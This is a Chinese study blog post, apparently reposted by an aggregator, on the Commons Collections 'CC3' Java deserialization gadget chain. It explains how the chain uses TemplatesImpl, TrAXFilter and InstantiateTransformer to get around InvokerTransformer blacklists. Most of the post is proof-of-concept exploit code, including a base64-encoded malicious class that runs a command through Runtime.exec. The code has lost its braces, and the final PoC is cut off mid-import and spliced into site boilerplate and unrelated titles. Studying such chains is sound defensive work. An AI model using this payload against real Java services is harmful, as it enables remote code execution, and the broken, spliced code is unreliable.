CC3--

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CC3--相关的知识,希望对你有一定的参考价值。

1. 前言

接着干CC链,就跟着 feng 师傅的博客来了

前面刚学习了 利用 TemplatesImpl来动态加载字节码,我们通过调用它的 newTransformer()方法,即可执行这段字节码的类构造器。

那么怎么在反序列化中利用呢?那就是 CC3 了

1.1 利用思路

Y4

绕过了对 InvokerTransformer 的利用,替代方法是这⾥⽤⼀个新的
Transformerorg.apache.commons.collections.functors.InstantiateTransformer,通过利⽤ nstantiateTransformer来调⽤到 TrAXFilter构造⽅法,再利
⽤其构造方法⾥的 templates.newTransformer()调⽤到 TemplatesImpl⾥的字节码

2. 分析

2.0介绍

这里只是最最基本的CC3 的分析,高级的可见 3.x

本来把CC1忘记了,然后看一下,跟一下就想起来了。

总的来说,就是CC1的Map.put()触发第三个参数的transform()。然后走的ChainedTransformer#transform()。然后ChainedTransformer#transform()中放的显示 TemplatesTmpl这个类,然后是它的newTransformer()这个方法,然后就反射调用了。达到了TemplatesTmpl.newTransformer()的效果

先看一下 CC1 的东西

package aa;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class cc3test 
    public static void main(String[] args) throws Exception 
        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]String.class,
                new Object[]"calc.exe"),
        ;
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    


然后再结合上一个的字节码的demo


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;

public class hellotest 
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException 
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    

    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException 
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    


结合起来:

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3test 
    public static void main(String[] args) throws Exception 
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(templates),
//            new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc.exe"),
            new InvokerTransformer("newTransformer", null,null),
        ;
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    
    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException 
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    


2.1 疑问来了

这也只是换了 触发的时候啊,我们当时 学习 动态加载字节码的时候,直接调用TemplatesTmpl.newTransformer()这个没有报错啊,

那么这里为什么就要换为反射的方法了啊?难道是它不能够直接序列化,反序列化?

好像没影响啊, 感觉有问题呢?????

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test 
    public static void main(String[] args) throws Exception 
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates,"_bytecodes",new byte[][]bytes);
        setFieldVaule(templates,"_name","adam");
        setFieldVaule(templates,"_tfactory",new TransformerFactoryImpl());


        Transformer[] transformers = new Transformer[]
            new ConstantTransformer(templates),
//            new InvokerTransformer("exec", new Class[]String.class, new Object[]"calc.exe"),
            new InvokerTransformer("newTransformer", null,null),
        ;
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");


        byte[] bytess = serialize(outerMap);
        System.out.println(new String(bytess));
        unserialize(bytess);

    

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException 
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    

    private static byte[] serialize(Object o) throws IOException 
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    

    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException 
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    


不知道能不能反序列化,,,

2.2 接着走吧

其实 CC3 不是这个样子的,CC3 是为了 绕过一些规则对于 InvokerTransformer 的限制的,也就是说有一些反序列化的过滤器中的黑名单中有 InvokerTransformer,所以不使用InvokerTransformer的CC3才出现了。为了绕过黑名单的检测。

ysoserial的作者找到了com.sun.org.apache.xalan.internal.xsltc.trax下面的TrAXFilter类,它的构造器非常有意思,调用了newTransformer

  public TrAXFilter (Templates templates)
    throws TransformerConfigurationException
  
    m_templates = templates;
    m_transformer = (TransformerImpl)templates.newTransformer();
  

当然没有InvokerTransformer了,我们也就没有办法调用反射来走TrAXFilet的构造方法了。

那么我们要使用的化,就需要在 TrAXFilter的构造参数中传入TemplatesImpl类了。然后就能够在 new TrAXFilter(TemplatesImpl)或者classloader.newInstance(TmplatesImpl) 的时候就执行了。

那么我们就要找一个类,它在反序列化readObject() 的时候能够实例化 TrAXFilter这个类才行啊。而且传入的template要可控才行呢

或者不用它的readObject()。是这个过程中的一个方法也行。这个方法能够例化 TrAXFilter这个类才行啊。而且传入的template要可控

然后ysoserial的作者就找到了CommonsCollections中的这个InstantiateTransformer类:


/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class InstantiateTransformer implements Transformer, Serializable 

它继承自Transformer类,然后通过反射来创建一个对象。

构造方法: 他还有两个对象,分别是反射的参数类型 , 和 反射的参数

public InstantiateTransformer(Class[] paramTypes, Object[] args) 
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    
    /** The constructor parameter types */
    private final Class[] iParamTypes;
    /** The constructor arguments */
    private final Object[] iArgs;

和一个transform()方法


    /*Transforms the input Class object to a result by instantiation.*/
    public Object transform(Object input) 
        try 
            if (input instanceof Class == false) 
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

简洁明了,通过反射获取构造器,然后实例化,并返回这个对象,

我们只要替换下这个就行了。POC如下吧:

        Transformer[] transformers = new Transformer[]
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]Templates.class,
                        new Object[]templates
                )
        ;

TrAXFilter就是传入的 input。然后,就是走TemplateImpl构造函数了。它继承自Templates。所以这里就写这个.class了。

2.3 假的POC

总体的POC

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.以上是关于CC3--的主要内容,如果未能解决你的问题,请参考以下文章

CC3--

CC3--

CC3--

CC3--

9-java安全——java反序列化CC3链分析

python类中self的问题?